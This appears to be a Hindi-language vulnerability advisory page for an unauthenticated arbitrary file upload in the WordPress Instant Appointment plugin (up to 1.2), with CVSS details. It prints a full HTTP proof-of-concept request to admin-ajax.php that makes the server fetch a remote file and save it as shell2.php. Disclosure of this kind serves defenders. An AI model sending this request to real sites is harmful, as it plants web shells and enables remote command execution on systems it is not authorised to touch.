instant-appointment-arbitrary-file-upload

instant-appointment - मनमानी फ़ाइल अपलोड

विवरण

WordPress के लिए Instant Appointment प्लगइन, संस्करण 1.2 तक (और 1.2 सहित) में मनमानी फ़ाइल अपलोड के प्रति संवेदनशील है। यह बिना प्रमाणीकरण वाले हमलावरों के लिए शेल अपलोड करना और कमांड निष्पादित करना संभव बनाता है।

ब्योरा

प्रकार: प्लगइन
स्लग: instant-appointment
प्रभावित संस्करण: 1.2
CVSS स्कोर: 9.8
CVSS रेटिंग: उच्च
CVSS वेक्टर: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CVE:
स्थिति: बंद

POC

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wp-dev.ddev.site
Accept-Encoding: gzip, deflate, br
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.140 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Connection: close
Cache-Control: max-age=0
Content-Length: 108

action=add_gallery_to_vendor&user_galerie[0][1]=https://rfi.nessus.org/rfi.txt&user_galerie[0][0]=shell2.php

instant-appointment-arbitrary-file-upload

सबसे लोकप्रिय

instant-appointment-arbitrary-file-upload

विवरण

ब्योरा

POC